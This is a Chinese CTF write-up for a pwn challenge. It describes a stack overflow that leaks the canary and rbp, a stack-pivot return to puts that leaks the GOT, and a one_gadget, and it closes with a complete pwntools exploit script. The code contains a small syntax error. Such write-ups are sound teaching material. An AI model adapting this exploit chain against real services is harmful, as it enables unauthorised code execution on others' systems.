穿云入雾

这题nc连接后输入WuGongShan_i_Come

安源路矿

1

canary保护和NX保护

2

3

利用上面这个函数溢出一个泄露canary 还可以泄露在这里的rbp

4

5

这里泄露出来了

关键

然后当我想正常走ret2libc的流程的时候发现在连接后会出现超时的情况

这个时候,在高人指点下(赛后)发现可以利用一种类似于栈迁移的方法,就是利用上面泄露的rbp将函数puts完后回到puts这里,puts出puts的got表,之后在进行one_gadget(ret2libc超时)

但是要注意这里的rbp有变化

4

read到puts rbp-0x50

最后exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
from LibcSearcher import *
context(log_level='debug')
libc=ELF('./libc-2.27.so')
elf=ELF('./pwn')
p=process('./pwn')
#p=remote('59.62.61.30', 48603)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400853
ret=0x40028b
addr=0x4007af


payload1=b'a'*0x46+b'bbb'
gdb.attach(p)
pause()
p.send(payload1)

p.recvuntil('bbb')

canary=u64(p.recv(7).rjust(8,b'\x00'))
rbp_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(canary))
print('rbp'+hex(rbp_addr)


payload2=b'a'*0x48+p64(canary)
payload2+=p64(rbp_addr-0x50)
payload2+=p64(pop_rdi)
payload2+=p64(puts_got)
payload2+=p64(addr)
pause()
#sleep(1)
p.sendafter('overflow!',payload2)
#p.recvuntil('overflow!')
p.recv()
leak_addr= u64(p.recvline(6).strip().ljust(8,b'\00'))

print(hex(leak_addr))

one=0x4f3d5
libc_base=leak_addr-libc.sym['puts']
gadgets=libc_base+one
'''
libc_base=leak_addr-libc.sym['puts']
bin_sh_addr=libc_base+next(libc.search(b'bin/sh'))
system_addr=libc_base+libc.sym['system']
'''
payload=b'a'*0x48+p64(canary)
payload+=b'a'*0x8
payload+=p64(gadgets)

'''
payload+=p64(ret)
payload+=p64(pop_rdi)
payload+=p64(bin_sh_addr)+p64(system_addr)
'''
p.sendline(payload)


p.interactive()